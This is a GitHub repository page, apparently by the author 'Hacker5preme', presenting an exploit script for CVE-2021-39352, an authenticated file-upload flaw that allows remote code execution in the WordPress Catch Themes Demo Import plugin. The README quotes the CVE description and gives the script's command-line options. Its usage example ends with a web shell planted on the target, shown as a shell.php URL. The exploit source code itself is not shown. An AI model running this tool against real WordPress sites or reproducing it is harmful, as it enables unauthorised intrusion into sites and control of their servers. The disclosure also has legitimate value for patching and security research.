⑂ main ⌄   **Exploits** / **Wordpress** / **CVE-2021-39352** /

Hacker5preme Wordpress Plugin Catch Themes Demo Import V 1.6.1 - Remote Code Execu... ···   on Dec 9, 2021   ⏱ History

..

📄 README.md	last year
📄 catch-themes-demo-import.1.6.1.zip	last year
📄 exploit.py	last year

≡ README.md

CVE-2021-39352-Exploit

Wordpress Plugin Catch Themes Demo Import V 1.6.1 - Remote Code Execution (Authenticated)

CVE description:

The Catch Themes Demo Import WordPress plugin is vulnerable to arbitrary file uploads via the import functionality found in the ~/inc/CatchThemesDemoImport.php file, in versions up to 1.7, due to insufficient file type validation. This makes it possible for an attacker with administrative privileges to upload malicious files that can be used to achieve remote code execution.

- https://nvd.nist.gov/vuln/detail/CVE-2021-39352

ExploitDB:

- https://www.exploit-db.com/exploits/50580

Exploit Description:

- Vendor Homepage: https://wordpress.org/plugins/catch-themes-demo-import/
- Software Link: https://downloads.wordpress.org/plugin/catch-themes-demo-import.1.6.1.zip
- Version: Up to 1.7
- Tested on Ubuntu 18.04

Usage:

```
hacker5preme:~/Exploitdev/CVE-2021-39352$ python3 exploit.py -h

 _____  _    _  _____           ___   ___    ___    _   ___   ___   ___   ___
|  __ \| |  | ||  ___|         |__ \ / _ \  |__ \  / | |__ \ / _ \ |__ \ | __|
| |  | | |  | || |__              ) | | | |    ) | | |    ) | (_) |   ) ||__ \
| |  | | |  | ||  __|            / /| | | |   / /  | |   / / \__, |  / / |__ \
| |__| |  \_/ || |___           / /_| |_| |  / /_  | |  / /    / /  / /   __) |
|_____/ \___/ |_____|          |____|\___/  |____| |_| |____| /_/  |____||___/

                 [+] Catch Themes Demo Import RCE (Authenticated)
                 [@] Developed by Ron Jost (Hacker5preme)


usage: exploit.py [-h] [-T IP] [-P PORT] [-U PATH] [-u USERNAME] [-p PASSWORD]

Wordpress Plugin Catch Themes Demo Import - RCE (Authenticated)

optional arguments:
  -h, --help            show this help message and exit
  -T IP, --IP IP
  -P PORT, --PORT PORT
  -U PATH, --PATH PATH
  -u USERNAME, --USERNAME USERNAME
  -p PASSWORD, --PASSWORD PASSWORD
```

Usage Example:

```
hacker5preme:~/Exploitdev/CVE-2021-39352$ python3 exploit.py -T 192.168.0.38 -P 80 -U /wordpress/ -u Hacker5pre
-p root

 _____  _   _  _____       ___   ___  ___   _  _       ___   ___  ___  ___
|  ___|| | | ||  ___|     |__ \ / _ \|__ \ | || |     |__ \ / _ \| __|| _ \
| |    | | | || |___        ) | | | |  ) || || |_       ) | | | |__ || __/
| |    \ \ / /|  ___|      / /| | | | / / |__   _|     / /| |_| |___ || |
| |___  \ V / | |___      / /_| |_| |/ /_    | |      / /_|  ___/___/|| |
|_____|  \_/  |_____|    |____|\___/|____|   |_|     |____||_|       |_|

              [+] Catch Themes Demo Import RCE (Authenticated)
              [@] Developed by Ron Jost (Hacker5preme)


[*] Starting Exploit at: 19:47:04

6e9b9d42fa
[*] Exploit finished at: 19:47:05
-> Webshell: http://192.168.0.38:80/wordpress/wp-content/uploads/2021/12/shell.php
```